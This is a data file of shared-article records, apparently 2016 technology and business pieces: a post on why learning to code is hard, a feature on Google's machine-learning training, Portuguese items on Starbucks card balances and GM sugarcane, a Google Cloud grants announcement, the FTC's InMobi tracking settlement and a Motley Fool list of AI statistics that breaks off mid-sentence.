1466631321,CONTENT SHARED,-820343972901090172,3302556033962996625,3775313930401213418,,,,HTML,https://medium.com/@shanselman/stop-saying-learning-to-code-is-easy-659c5f4c0d7,Stop saying learning to code is easy.,"Stop saying learning to code is easy. I saw this tweet after the Apple WWDC keynote and had thought the same thing. Hang on, programming is hard. Rewarding, sure. Interesting, totally. But ""easy"" sets folks up for failure and a lifetime of self-doubt. When we tell folks - kids or otherwise - that programming is easy , what will they think when it gets difficult? And it will get difficult. That's where people find themselves saying ""well, I guess I'm not wired for coding. It's just not for me."" Now, to be clear, that may be the case. I'm arguing that if we as an industry go around telling everyone that ""coding is easy"" we are just prepping folks for self-exclusion, rather than enabling a growing and inclusive community. That's the goal right? Let's get more folks into computers, but let's set their expectations. Here, I'll try to level set. Hey you! People learning to code! Programming is hard. It's complicated. It's exhausting. It's exasperating. Some things will totally make sense to you and some won't. I'm looking at you, RegEx. The documentation usually sucks. Sometimes computers are stupid and crash. But. You'll meet amazing people who will mentor you. You'll feel powerful and create things you never thought possible. You'll better understand the tech world around you. You'll try new tools and build your own personal toolkit. Sometimes you'll just wake up with the answer. You'll start to ""see"" how systems fit together. Over the years you'll learn about the history of computers and how we are all standing on the shoulders of giants. It's rewarding. It's empowering. It's worthwhile. And you can do it. Stick with it. Join positive communities. Read code. Watch videos about code. Try new languages! Maybe the language you learned first isn't the ""programming language of your soul."" Learning to program is NOT easy but it's totally possible. You can do it. More Reading Sponsor: Big thanks to Redgate for sponsoring the feed this week. How do you find & fix your slowest .NET code? Boost the performance of your .NET application with ANTS Performance Profiler . Find your bottleneck fast with performance data for code & queries. Try it free !",en
1466639889,CONTENT SHARED,-7126520323752764957,-1443636648652872475,5646250801415915324,,,,HTML,https://backchannel.com/how-google-is-remaking-itself-as-a-machine-learning-first-company-ada63defcb70?gi=aa64b8b1080f,"How Google is Remaking Itself as a ""Machine Learning First"" Company - Backchannel","If you want to build artificial intelligence into every product, you better retrain your army of coders. Check. Carson Holgate is training to become a ninja. Not in the martial arts - she's already done that. Holgate, 26, holds a second degree black belt in Tae Kwon Do. This time it's algorithmic. Holgate is several weeks into a program that will inculcate her in an even more powerful practice than physical combat: machine learning, or ML. A Google engineer in the Android division, Holgate is one of 18 programmers in this year's Machine Learning Ninja Program, which pulls talented coders from their teams to participate, Ender's Game -style, in a regimen that teaches them the artificial intelligence techniques that will make their products smarter. Even if it makes the software they create harder to understand. ""The tagline is, Do you want to be a machine learning ninja? "" says Christine Robson, a product manager for Google's internal machine learning efforts, who helps administer the program. ""So we invite folks from around Google to come and spend six months embedded with the machine learning team, sitting right next to a mentor, working on machine learning for six months, doing some project, getting it launched and learning a lot."" For Holgate, who came to Google almost four years ago after with a degree in computer science and math, it's a chance to master the hottest paradigm of the software world: using learning algorithms (""learners"") and tons of data to ""teach"" software to accomplish its tasks. For many years, machine learning was considered a specialty, limited to an elite few. That era is over, as recent results indicate that machine learning, powered by ""neural nets"" that emulate the way a biological brain operates, is the true path towards imbuing computers with the powers of humans, and in some cases, super humans. Google is committed to expanding that elite within its walls, with the hope of making it the norm. For engineers like Holgate, the ninja program is a chance to leap to the forefront of the effort, learning from the best of the best. ""These people are building ridiculous models and have PhD's,"" she says, unable to mask the awe in her voice. She's even gotten over the fact that she is actually in a program that calls its students ""ninjas."" ""At first, I cringed, but I learned to accept it,"" she says. Considering the vast size of Google's workforce - probably almost half of its 60,000 headcount are engineers - this is a tiny project. But the program symbolizes a cognitive shift in the company. Though machine learning has long been part of Google's technology - and Google has been a leader in hiring experts in the field - the company circa 2016 is obsessed with it. In an earnings call late last year, CEO Sundar Pichai, laid out the corporate mindset: ""Machine learning is a core, transformative way by which we're rethinking how we're doing everything. We are thoughtfully applying it across all our products, be it search, ads, YouTube, or Play. And we're in early days, but you will see us - in a systematic way - apply machine learning in all these areas."" Obviously, if Google is to build machine learning in all its products, it needs engineers who have mastery of those techniques, which represents a sharp fork from traditional coding. As Peter Domingos, author of the popular ML manifesto The Master Algorithm , writes, ""Machine learning is something new under the sun: a technology that builds itself."" Writing such systems involves identifying the right data, choosing the right algorithmic approach, and making sure you build the right conditions for success. And then (this is hard for coders) trusting the systems to do the work. ""The more people who think about solving problems in this way, the better we'll be,"" says a leader in the firm's ML effort, Jeff Dean, who is to software at Google as Tom Brady is to quarterbacking in the NFL. Today, he estimates that of Google's 25,000 engineers, only a ""few thousand"" are proficient in machine learning. Maybe ten percent. He'd like that to be closer to a hundred percent. ""It would be great to have every engineer have at least some amount of knowledge of machine learning,"" he says. Does he think that will happen? ""We're going to try,"" he says. For years, John Giannandrea has been Google's key promoter of machine learning, and, in a flashing neon sign of where the company is now, he recently became the head of Search. But when he arrived at the company in 2010 (as part of the company's acquisition of MetaWeb, a vast database of people, places and things that is now integrated into Google Search as the Knowledge Graph), he didn't have much experience with ML or neural nets. Around 2011, though, he became struck by news coming from a conference called Neural Information Processing Systems (NIPS). It seemed every year at NIPS some team or other would announce results using machine learning that blew away previous attempts at a solving a problem, be it translation, voice recognition, or vision. Something amazing was happening. ""When I was first looking at it, this NIPS conference was obscure,"" he says. ""But this whole area across academia and industry has ballooned in the last three years. I think last year 6000 attended."" These improved neural-net algorithms along with more powerful computation from the Moore's Law effect and an exponential increase in data drawn from the behavior of huge numbers of users at companies like Google and Facebook, began a new era of ascendant machine learning. Giannandrea joined those who believed it should be central to the company. That cohort included Dean, co-founder of the Google Brain , a neural net project originating in the company's long-range research division Google X. (Now known simply as X.) Google's bear-hug-level embrace of machine learning does not simply represent a shift in programming technique. It's a serious commitment to techniques that will bestow hitherto unattainable powers to computers. The leading edge of this are ""deep learning"" algorithms built around sophisticated neural nets inspired by brain architecture. The Google Brain is a deep learning effort, and DeepMind, the AI company Google bought for a reported $500 million in January 2014, also concentrates on that end of the spectrum. It was DeepMind that created the AlphaGo system that beat a champion of Go, shattering expectations of intelligent machine performance and sending ripples of concern among those fearful of smart machines and killer robots. While Giannandrea dismisses the ""AI-is-going-to-kill us"" camp as ill-informed Cassandras, he does contend that machine learning systems are going to be transformative, in everything from medical diagnoses to driving our cars. While machine learning won't replace humans, it will change humanity. The example Giannandrea cites to demonstrate machine learning power is Google Photos, a product whose definitive feature is an uncanny - maybe even disturbing -  ability to locate an image of something specified by the user. Show me pictures of border collies. ""When people see that for the first time they think something different is happening because the computer is not just computing a preference for you or suggesting a video for you to watch,"" says Giannandrea. ""It's actually understanding what's in the picture."" He explains that through the learning process, the computer ""knows"" what a border collie looks like, and it will find pictures of it when it's a puppy, when its old, when it's long-haired, and when it's been shorn. A person could do that, of course. But no human could sort through a million example and simultaneously identify ten thousand dog breeds. But a machine learning system can. If it learns one breed, it can use the same technique to identify the other 9999 using the same technique. ""that's really what's new here,"" says Giannandrea. ""For those narrow domains, you're seeing what some people call super human performance in these learned systems."" To be sure, machine learning concepts have long been understood at Google, whose founders are lifetime believers of the power of artificial intelligence. Machine learning is already baked into many Google products, albeit not the more recent flavors centering around neural nets. (Earlier machine learning often relied on a more straightforward statistical approach.) In fact, over a decade ago, Google was running in-house courses to teach its engineers machine learning. In the early 2005, Peter Norvig, then in charge of search, suggested to a research scientist named David Pablo Cohn that he look into whether Google might adopt an online course in the subject organized by Carnegie Mellon University. Cohn concluded that only Googlers themselves could teach such an internal course, because Google operated at such a different scale than anyone else (except maybe the Department of Defense). So he reserved a large room in Building 43 (then the headquarters of the search team) and held a two-hour class every Wednesday. Even Jeff Dean dropped in for a couple of sessions. ""It was the best class in the world,"" Cohn says. ""They were all much better engineers than I was!"" The course was so popular, in fact, that it began to get out of hand. People in the Bangalore office were staying past midnight so they could call in. After a couple of years, some Googlers helped put the lectures on short videos; the live sessions ended. Cohn believes it might have qualified as a precursor to the Massive Open Online Course (MOOC). Over the next few years there were other disparate efforts at ML training at Google, but not in an organized, coherent fashion. Cohn left Google in 2010 before, he says, ML at Google ""suddenly became this all-important thing."" That understanding hadn't yet hit in 2012 when Giannandrea had the idea to ""get a bunch of people who were doing this stuff"" and put them in a single building. Google Brain, which had ""graduated"" from the X division, joined the party. ""We uprooted a bunch of teams, put them in a building, got a nice new coffee machine,"" he says. ""People who previously had just been working on what we called perception - sound and speech understanding and so on - were now talking to the people who were trying to work on language."" More and more, the machine learning efforts from those engineers began appearing in Google's popular products. Since key machine learning domains are vision, speech, voice recognition, and translation, it's unsurprising that ML is now a big part of Voice Search, Translate, and Photos. More striking is the effort to work machine learning into everything . Jeff Dean says that as he and his team have begun to understand ML more, they are exploiting it in more ambitious ways. ""Previously, we might use machine learning in a few sub-components of a system,"" he says. ""Now we actually use machine learning to replace entire sets of systems, rather than trying to make a better machine learning model for each of the pieces."" If he were to rewrite Google's infrastructure today, says Dean, who is known as the co-creator of game-changing systems like Big Table and MapReduce , much of it would not be coded but learned. Machine learning also is enabling product features that previously would have been unimaginable. One example is Smart Replies in Gmail, launched in November 2015. It began with a conversation between Greg Corrado, a co-founder of the Google Brain project, and a Gmail engineer named Bálint Miklós. Corrado had previously worked with the Gmail team on using ML algorithms for spam detection and classifying email, but Miklós suggested something radical. What if the team use machine learning to automatically generate replies to emails, saving mobile users the hassle of tapping out answers on those tiny keyboards? ""I was actually flabbergasted because the suggestion seemed so crazy,"" says Corrado. ""But then I thought that with the predictive neural net technology we'd been working on, it might be possible. And once we realized there was even a chance, we had to try."" Google boosted the odds by keeping Corrado and his team in close and constant contact with the Gmail group, an approach that is increasingly common as machine learning experts fan out among product product groups. ""Machine learning is as much art as it is science,"" says Corrado. ""It's like cooking - yes, there's chemistry involved but to do something really interesting, you have to learn how to combine the ingredients available to you."" Traditional AI methods of language understanding depended on embedding rules of language into a system, but in this project, as with all modern machine learning, the system was fed enough data to learn on its own, just as a child would. ""I didn't learn to talk from a linguist, I learned to talk from hearing other people talk,"" says Corrado. But what made Smart Replies really feasible was that success could be easily defined - the idea wasn't to create a virtual Scarlett Johansson who would engage in flirtatious chatter, but plausible replies to real-life emails. ""What success looked like is that the machine generated a candidate response that people found useful enough to use as their real response,"" he says. Thus the system could be trained by noting whether or not users actually clicked on the suggested replies. When the team began testing Smart Responses, though, users noted a weird quirk: it would often suggest inappropriate romantic responses. ""One of the failure modes was this really hysterical tendency for it to say, 'I love you' whenever it got confused,"" says Corrado. ""It wasn't a software bug - it was an error in what we asked it to do."" The program had somehow learned a subtle aspect of human behavior: ""If you're cornered, saying, 'I love you' is a good defensive strategy."" Corrado was able to help the team tamp down the ardor. Smart Replies , released last November, is a hit - users of the Gmail Inbox app now routinely get a choice of three potential replies to emails that they can dash off with a single touch. Often they seem uncannily on the mark. Of responses sent by mobile Inbox users, one in ten is created by the machine-learning system. ""It's still kind of surprising to me that it works,"" says Corrado with a laugh. Smart Replies is only one data point in a dense graph of instances where ML has proved effective at Google. But perhaps the ultimate turning point came when machine learning became an integral part of search, Google's flagship product and the font of virtually all its revenues. Search has always been based on artificial intelligence to some degree. But for many years, the company's most sacred algorithms, those that delivered what were once known as the ""ten blue links"" in response to a search query, were deemed too important for ML's learning algorithms. ""Because search is such a large part of the company, ranking is very, very highly evolved, and there was a lot of skepticism you could move the needle very much,"" says Giannandrea. In part this was a cultural resistance - a stubborn microcosm of the general challenge of getting control-freaky master hackers to adopt the Zen-ish machine learning approach. Amit Singhal, the long-time maester of search, was himself an acolyte of Gerald Salton, a legendary computer scientist whose pioneering work in document retrieval inspired Singhal to help revise the grad-student code of Brin and Page into something that could scale in the modern web era. (This put him in the school of ""retrievers."") He teased amazing results from those 20th century methods, and was suspicious of integrating learners into the complicated system that was Google's lifeblood. ""My first two years at Google I was in search quality, trying to use machine learning to improve ranking,"" says David Pablo Cohn. ""It turns out that Amit's intuition was the best in the world, and we did better by trying to hard code whatever was in Amit's brain. We couldn't find anything as good as his approach."" By early 2014, Google's machine learning masters believed that should change. ""We had a series of discussions with the ranking team,"" says Dean. ""We said we should at least try this and see, is there any gain to be had."" The experiment his team had in mind turned out to be central to search: how well a document in the ranking matches a query (as measured by whether the user clicks on it.) ""We sort of just said, let's try to compute this extra score from the neural net and see if that's a useful score."" It turned out the answer was yes, and the system is now part of search, known as Rank Brain. It went online in April 2015. Google is characteristically fuzzy on exactly how it improves search (something to do with the long tail? Better interpretation of ambiguous requests?) but Dean says that Rank Brain is ""involved in every query,"" and affects the actual rankings ""probably not in every query but in a lot of queries."" What's more, it's hugely effective. Of the hundreds of ""signal"" Google search uses when it calculates its rankings (a signal might be the user's geographical location, or whether the headline on a page matches the text in the query), Rank Brain is now rated as the third most useful. ""It was significant to the company that we were successful in making search better with machine learning,"" says Giannandrea. ""That caused a lot of people to pay attention."" Peter Domingos, the University of Washington professor who wrote The Master Algorithm , puts it a different way: ""There was always this battle between the retrievers and the machine learning people,"" he says. ""The machine learners have finally won the battle."" Google's new challenge is shifting its engineering workforce so everyone is familiar, if not adept, at machine learning. It's a goal pursued now by many other companies, notably Facebook, which is just as gaga about ML and deep learning as Google is. The competition to hire recent graduates in the field is fierce, and Google tries hard to maintain its early lead; for years, the joke in academia was that Google hires top students even when it doesn't need them, just to deny them to the competition. (The joke misses the point that Google does need them.) ""My students, no matter who, always get an offer from Google."" says Domingos. And things are getting tougher: just last week, Google announced it will open a brand new machine-learning research lab in Zurich, with a whole lot of workstations to fill. But since academic programs are not yet producing ML experts in huge numbers, retraining workers is a necessity. And that isn't always easy, especially at a company like Google, with many world-class engineers who have spent a lifetime achieving wizardry through traditional coding. Machine learning requires a different mindset. People who are master coders often become that way because they thrive on the total control that one can have by programming a system. Machine learning also requires a grasp of certain kinds of math and statistics, which many coders, even gonzo hackers who can zip off tight programs of brobdingnagian length, never bothered to learn. It also requires a degree of patience. ""The machine learning model is not a static piece of code - you're constantly feeding it data,"" says Robson. ""We are constantly updating the models and learning, adding more data and like tweaking how we're going to make predictions. It feels like a living, breathing thing. It's a different kind of engineering."" ""It's a discipline really of doing experimentation with the different algorithms, or about which sets of training data work really well for your use case,"" says Giannandrea, who despite his new role as search czar still considers evangelizing machine learning internally as part of his job. ""The computer science part doesn't go away. But there is more of a focus on mathematics and statistics and less of a focus on writing half a million lines of code."" As far as Google is concerned, this hurdle can be leapt over by smart re-training. ""At the end of the day the mathematics used in these models is not that sophisticated,"" says Dean. ""It's achievable for most software engineers we would hire at Google."" To further aid its growing cadre of machine learning experts, Google has built a powerful set of tools to help engineers make the right choices of the models they use to train their algorithms and to expedite the process of training and refining. The most powerful of those is TensorFlow , a system that expedites the process of constructing neural nets. Built out of the Google Brain product, and co-invented by Dean and his colleague Rajat Monga, TensorFlow helped democratize machine learning by standardizing the often tedious and esoteric details involved in building a system - especially since Google made it available to the public in November 2015. While Google takes pains to couch the move as an altruistic boon to the community, it also acknowledges that a new generation of programmers familiar with its in-house machine learning tools is a pretty good thing for Google recruiting. (Skeptics have noted that Google's open-sourcing TensorFlow is a catch-up move with Facebook, which publicly released deep-learning modules for an earlier ML system, Torch, in January 2015.) Still, TensorFlow's features, along with the Google imprimatur, have rapidly made it a favorite in ML programming circles. According to Giannandrea, when Google offered its first online TensorFlow course, 75,000 people signed up. Google still saves plenty of goodies for its own programmers. Internally, the company has a probably unparalleled tool chest of ML prosthetics, not the least of which is an innovation it has been using for years but announced only recently - the Tensor Processing Unit . This is a microprocessor chip optimized for the specific quirks of running machine language programs, similar to the way as Graphics Processing Units are designed with the single purpose of speeding the calculations that throw pixels on a display screen. Many thousands (only God and Larry Page probably know how many) are inside servers in the company's huge data centers. By super-powering its neural net operations, TPU's give Google a tremendous advantage. ""We could not have done Rank Brain without it,"" says Dean. But since Google's biggest need is people to design and refine these systems, just as the company is working feverishly to refine its software-training tools, it's madly honing its experiments in training machine-learning engineers. They range from small to large. The latter category includes quick-and-dirty two-day ""Machine Learning Crash Course with TensorFlow,"" with slides and exercises. Google hopes this is a first taste, and the engineers will subsequently seek out resources to learn more. ""We have thousands of people signed up for the next offering of this one course,"" says Dean. Other, smaller efforts draw outsiders into Google's machine learning maw. Earlier this spring, Google began The Brain Residency program, a program to bring in promising outsiders for a year of intense training from within the Google Brain group. ""We're calling it a jump start in your Deep Learning career,"" says Robson, who helps administer the program. Though it's possible that some of the 27 machine-learning-nauts from different disciplines in the initial program might wind up sticking around Google, the stated purpose of the class is to dispatch them back in the wild, using their superpowers to spread Google's version of machine learning throughout the data-sphere. So, in a sense, what Carson Holgate learns in her ninja program is central to how Google plans to maintain its dominance as an AI-focused company in a world where machine learning is taking center stage. Her program began with a four-week boot camp where the product leads of Google's most advanced AI projects drilled them on the fine points of baking machine learning into projects. ""We throw the ninjas into a conference room and Greg Corrado is there at the white board, explaining LSTM [""Long Short Term Memory,"" a technique that makes powerful neural nets], gesturing wildly, showing how this really works, what the math is, how to use it in production,"" says Robson. ""We basically just do this with every technique we have and every tool in our toolbox for the first four weeks to give them a really immersive dive."" Holgate has survived boot camp and now is using machine learning tools to build a communications feature in Android that will help Googlers communicate with each other. She's tuning hyperparameters. She's cleansing her input data. She's stripping out the stop words. But there's no way she's turning back, because she knows that these artificial intelligence techniques are the present and the future of Google, maybe of all technology. Maybe of everything. ""Machine learning,"" she says, ""is huge here."" Photography by Jason Henry.",en
1466644153,CONTENT SHARED,-6697357763177451167,-6946355789336786528,438386484399384641,,,,HTML,https://pagamento.me/starbucks-tem-mais-dinheiro-do-cliente-em-cartoes-do-que-bancos/,Starbucks tem mais dinheiro do cliente em cartões do que bancos,"O nascimento do ""novo banco"" se dará na mão dos grandes distribuidores. No artigo Desintermediação Bancária , ilustramos o nascimento de super fintechs como o Sem Parar, por exemplo. É nessa onda que os próximos gigantes do segmento financeiro vão nascer: com o poder de distribuição. Redes como os postos Ipiranga, redes de academia como a Smartfit , que já ultrapassam os milhões de alunos e a rede de benefícios Multiplus , já têm mais volume financeiro e clientes do que bancos. Esse é o novo movimento financeiro que vamos assistir em breve. Starbucks tem mais dinheiro em caixa do que bancos Desde o lançamento do Starbucks Card, a rede vem fazendo um grande trabalho com os clientes em gerar a necessidade de uso do seu cartão e seu aplicativo de pagamento. Uma pesquisa do Wall Street Journal revelou onde as pessoas estão colocando dinheiro, fora dos bancos. E pahh! O número surpreendeu. Os cartões da Starbucks, usados pelos clientes, somaram cerca de U$1,2 bilhões de dinheiro creditado. O volume é maior do que alguns bancos têm em caixa, inclusive. Algumas pessoas guardam dinheiro em colchão, outras em bancos e 12 milhões de pessoas, guardam em cartões da Starbucks. Coffee Bank!",pt
1466648384,CONTENT SHARED,-7691630854548349557,-5264754785175108362,-4819620240422434245,,,,HTML,http://www.gazetadopovo.com.br/agronegocio/agricultura/empresa-desenvolve-primeira-variedade-de-cana-geneticamente-modificada-3smj177dfmcx4w7ypzftbeuk8,Empresa desenvolve primeira variedade de cana geneticamente modificada,"A primeira variedade de cana-de-açúcar geneticamente modificada, desenvolvida pelo Centro de Tecnologia Canavieira (CTC), está prestes a ser lançada no mercado. Ela promete ser resistente a pragas, entre elas a broca. O mercado canavieiro estima que esse problema cause cerca de R$ 5 bilhões de prejuízos por ano ao setor, o que equivale a 5% do que o mercado movimenta conforme cálculo do CTC. O Brasil é o maior produtor de cana-de-açúcar do mundo, segundo a Organização das Nações Unidas para Agricultura e Alimentação (FAO). Em 2013 - dados mais recentes da FAO -, o país produziu 739 milhões de toneladas - mais que o dobro do segundo colocado, Índia, que produziu no mesmo ano 341 milhões de toneladas. O diretor da área de melhoramento genético da CTC, William Burnquist, diz que a nova variedade vai simplificar o controle de pragas. Segundo ele, não será necessário fazer o uso de defensivos agrícolas, pois a nova cana-de-açúcar será resistente a pragas. ""Na prática a variedade é 100% resistente a pragas. Como nas outras culturas, temos que tomar outras medidas para controle, como o manejo que acompanha essa variedade, a quantidade que você precisa plantar, o local. São necessários cuidados para que a resistência seja aproveitada ao máximo"", explica. Burnquist cita que um dos benefícios indiretos à lavoura com a nova variedade é o menor trânsito de máquinas, o que compacta menos o solo. Isso também faz com que menos cana seja amassada com o tráfego de tratores. ""Nós estimamos, com base em testes, uma melhora de 5% a 10% de aumento da produtividade"", diz o diretor. Nessa conta estão contabilizados os melhoramentos diretos e indiretos à lavoura com a nova variedade. Sobre os royaltes, Burnquist diz que serão cobrados em cima da quantia produzida a mais nas lavouras. ""Toda a nossa tecnologia nós compartilhamos o benefício com o produtor. Vamos calcular qual o ganho e vamos capturar um terço desse aumento na produtividade"", detalha. ""Se essa variedade produz 12 toneladas de cana a mais do que produzia com variedades comuns, o valor de um terço, oito toneladas nesse caso, será referente aos royaltes"", exemplifica. Trâmite O CTC apresentou a nova variedade de cana à Comissão Técnica Nacional de Biossegurança (CTNBio) no ano passado. Ela precisa ainda ser submetida a análise antes de ser liberada ao mercado. A desenvolvedora da variedade precisa apresentar dados de que a planta não apresenta risco para saúde, segurança da saúde animal, da segurança humana e outras informações antes de chegar ao mercado. Caso seja aprovada, a previsão é que a planta esteja disponível no mercado em 2018.",pt
1466650569,CONTENT SHARED,1177957942021788639,-1032019229384696495,-204014901489273678,,,,HTML,https://cloudplatform.googleblog.com/2016/06/new-Google-Cloud-Platform-Education-Grants-offer-free-credits-to-students.html,New Google Cloud Platform Education Grants offer free credits to students,"We are excited to announce Google Cloud Platform Education Grants for computer science faculty and students. Starting today, faculty in the United States who teach courses in computer science or related subjects can apply for free credits for students to use across the full complement of Google Cloud Platform tools, without having to submit a credit card. These credits can be used anytime during the 2016-17 academic year. Cloud Platform already powers innovative work by young computer scientists. Consider the work of Duke University undergrad Brittany Wenger. After watching several women in her family suffer from breast cancer, Brittany used her knowledge of artificial intelligence to create Cloud4Cancer , an artificial neural network built on top of Google App Engine . Medical professionals upload scans of benign and malignant breast cancer tumors. From these inputs, Cloud4Cancer has learned to distinguish between healthy and unhealthy tissue, providing health care professionals with a powerful diagnostic tool in the fight against cancer. Familiarizing students with Cloud Platform will also make them more competitive in the job market. Professor Majd Sakr is a teaching professor in the Department of Computer Science at Carnegie Mellon University. In his experience, students that have access to public cloud infrastructure gain valuable experience with the software and infrastructure used by today's employers. In addition, student projects can benefit from the sheer scale and scope of Google Cloud Platform's infrastructure resources. Google Cloud Platform offers a range of tools and services that are unique among cloud providers, for example: Google App Engine is a simple way to build and run an application without having to configure custom infrastructure. Google BigQuery is a fully managed cloud data warehouse for analyzing large data sets with a familiar, SQL-like interface. Cloud Vision API allows computer science students to incorporate Google's state-of-the-art image recognition capabilities into the most basic web or mobile app. Cloud Machine Learning is Google's managed service for machine learning that lets you build machine learning models on any type or size of data. It's based on TensorFlow , the most popular open-source machine learning toolkit on GitHub, which ensures your machine learning is not locked into our platform. We look forward to seeing the novel ways computer science students use their Google Cloud Platform Education Grants, and are excited to share their work on this blog. Computer science faculty can apply for Education Grants today. These grants are only available to faculty based in the United States, but we plan to extend the program to other geographies soon. Once submissions are approved on our end, faculty will be able to disperse credits to students. For US-based students out there interested in taking GCP for a spin, encourage your department to apply! If you want to get started immediately, there's also our free-trial program . Students and others interested in Google Cloud Platform for Higher Education should complete the form to register their interest and stay updated about the latest from Cloud Platform, including forthcoming credit programs. For more information on GCP and its uses for higher education, visit our Cloud Platform for Higher Education webpage .",en
1466678396,CONTENT SHARED,1190376095547142533,6644119361202586331,2993288397448600357,,,,HTML,http://arstechnica.com/tech-policy/2016/06/advertiser-that-tracked-100-million-phone-users-without-consent-pays-950000/,"Advertiser that tracked >100 million phone users without consent pays $950,000","A mobile advertising company that tracked the locations of hundreds of millions of consumers without consent has agreed to pay $950,000 in civil penalties and implement a privacy program to settle charges that it violated federal law. The US Federal Trade Commission alleged in a complaint filed Wednesday that Singapore-based InMobi undermined phone users' ability to make informed decisions about the collection of their location information. While InMobi claimed that its software collected geographical whereabouts only when end users provided opt-in consent, the software in fact used nearby Wi-Fi signals to infer locations when permission wasn't given, FTC officials alleged. InMobi then archived the location information and used it to push targeted advertisements to individual phone users. Specifically, the FTC alleged, InMobi collected nearby basic service set identification addresses , which act as unique serial numbers for wireless access points. The company, which thousands of Android and iOS app makers use to deliver ads to end users, then fed each BSSID into a ""geocorder"" database to infer the phone user's latitude and longitude, even when an end user hadn't provided permission for location to be tracked through the phone's dedicated location feature. ""Defendant represented in disclosures... that it tracked the consumer's location and served geo-targeted ads only if the application developer and the consumer provided access to the location APIs, and the consumer provided opt-in consent,"" Wednesday's complaint, which was filed in San Francisco federal court, stated. ""In fact, defendant collected and used BSSID and other Wi-Fi network information to track the consumer's location and serve geo-targeted ads regardless of the application developer's intent to include geo-targeted ads, and regardless of the consumer's location settings."" According to the FTC, the InMobi advertising network has reached more than one billion devices worldwide through thousands of popular apps that integrate InMobi code. Many of the third-party app makers indicated that their wares were designed for children, many under the age of 13, making the collection a violation of the Children's Online Privacy Protection Act , the FTC alleged. ""Collectively, hundreds of millions of consumers have downloaded the thousands of child-directed applications from which defendant collected and used personal information,"" the complaint stated. ""Defendant collected such personal information each time an application made an ad request to their network-typically every 30 seconds when an application is in use."" Under terms of the settlement, InMobi will pay a civil penalty of $950,000 and delete all information it collected from children and all information collected from adults who didn't provide their consent. The settlement also requires InMobi to implement a comprehensive privacy program that will be independently audited every two years for the next two decades. InMobi was subject to a $4 million civil penalty, which was lowered to $950,000 ""based on the company's financial condition,"" the FTC said in a statement issued Wednesday , without elaborating. The episode is another reminder of the benefits of turning off mobile device Wi-Fi when a connection isn't needed. By leaving it on, users often unknowingly leave breadcrumbs that can be used by both access point operators and ad networks to track the comings and goings of the mobile device.",en
1466682429,CONTENT SHARED,-398780385766545248,-1443636648652872475,-911711509111027294,,,,HTML,http://www.fool.com/investing/2016/06/19/10-stats-about-artificial-intelligence-that-will-b.aspx,10 Stats About Artificial Intelligence That Will Blow You Away -- The Motley Fool,"( Microsoft NASDAQ:MSFT ) co-founder Bill Gates recently called artificial intelligence ""the holy grail that anyone in computer science has been thinking about"" during Vox Media's Code Conference. Gates discussed the rapid progress of speech recognition and computer vision technologies over the past five years, and noted that ""the dream is finally arriving."" Suzanne Frey, an executive at Alphabet, is a member of The Motley Fool's board of directors. Leo Sun owns shares of Amazon.com. The Motley Fool owns shares of and recommends Alphabet (A shares), Alphabet (C shares), Amazon.com, Apple, Facebook, Gartner, and Nvidia. The Motley Fool owns shares of Microsoft and has the following options: long January 2018 $90 calls on Apple and short January 2018 $95 calls on Apple. The Motley Fool recommends Intel and Nuance Communications. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy . If that dream arrives, tech investors should recognize the major trends and players in this market. To get started, let's examine 10 fascinating facts about the AI industry. 1. $5.05 billion market by 2020 Research firm Markets and Markets estimates that the AI market will grow from $420 million in 2014 to $5.05 billion by 2020, thanks to the rising adoption of machine learning and natural language processing technologies in the media, advertising, retail, finance, and healthcare industries. Key players in (( ( machine learning include big cloud players like Amazon NASDAQ:AMZN ), Microsoft NASDAQ:MSFT ), and IBM . Nuance Communications NASDAQ:NUAN ) is the top ""pure play"" in natural language processing. 2. 6 billion devices will request AI support that 6 billion connected ""things"" will be actively requesting support from AI platforms by 2018. These devices will likely include many connected appliances, cars, wearables, and other gadgets included in the broader Gartner estimates Internet of Things market. 3. $5.4 billion invested in AI start-ups There are currently 1,031 AI start-ups listed on AngelList , with an average valuation of $5.2 million -- which equals nearly $5.4 billion in venture capital investments. The three most-followed companies on that list are robotics company Autonomous, team productivity software maker Crux, and AI social news aggregator Zero Slant. 4. 80% of executives believe AI boosts productivity A recent study by AI language company Narrative Science found that 80% of executives believed that AI solutions boosted worker performance and created new jobs. Thirty-two percent said voice recognition technologies were the most widely used AI technology in their businesses -- which is good news for companies like Nuance. 5. Most mobile users use voice assistants Nuance developed the technology that powers 's ('s (( Apple NASDAQ:AAPL ) Siri, which preceded other voice assistants like Alphabet NASDAQ:GOOG ) NASDAQ:GOOGL ) Google Now, Microsoft's Cortana, and Amazon's Alexa. The idea of speaking to your phone initially seemed awkward, but a recent study by Creative Strategies' Carolina Milanesi found that just 2% of iPhone users had never used Siri, while 4% had never used Google Now. 6. Virtual assistants will make decisions for you Gartner believes that the data gathered from users in cloud-based neural networks will power 40% of mobile interactions between virtual personal assistants and people by 2020. This means that all the data you voluntarily feed to ( Facebook NASDAQ:FB ), Google, and Amazon will be used to create a complex cloud-based profile that cloud-based ""smart agents"" can use to predict your needs and desires. 7. Most enterprise relationships with customers won't require humans by 2020 Gartner also claims that 85% of all customer interactions won't require human customer service reps by the end of this decade. The firm believes that automated analysis of social media channels, CRM software, and personalized chatbots that recognize faces and voices will greatly reduce the need for traditional call centers. That bodes well for Facebook's recent integration of chatbots into Messenger for automated customer service. 8. AI will replace 16% of jobs over next decade Research firm Forrester believes that AI workers will replace up to 16% of all U.S. jobs over the next decade. However, new jobs to maintain those AI platforms and machines will also be created, meaning that ""just"" 7% of all jobs will be lost. It's not just customer service reps who should be worried. Medical assistant AIs could reduce the need for lower-level medical staff in hospitals, driverless vehicles could replace professional drivers, and robo-writers could pump out articles much faster and more accurately than humans. 9. Robots will probably outnumber humans at work Gartner estimates that 45% of the fastest-growing companies in the world will ""employ"" more smart machines and virtual assistants than people by 2018. That's because hiring fewer humans and installing more virtual assistants could reduce costs while boosting productivity. 10. AI is powered by GPUs, not CPUs Major machine learning players like 's ( Facebook and Nvidia NASDAQ:NVDA ) Tesla chips for AI applications instead of traditional CPUs. Nvidia claims that its Tesla K80 GPU IBM are notably using more high-end GPUs like is ""two to five times"" faster than Intel 's Xeon Phi 7120 at ""key science applications."" That complements Nvidia's push in connected and driverless cars, but it could be bad news for Intel, which has struggled with sluggish sales of PC chips and slowing growth in data centers. The key takeaway AI programs probably won't claim your job or make life-altering decisions for you anytime soon, but they're definitely tethering themselves to our everyday lives through mobile apps, social media, and virtual assistants. Tech investors should keep these facts in mind as top companies continue pursuing this ""holy grail"" of computer science. A secret billion-dollar stock opportunity The world's biggest tech company forgot to 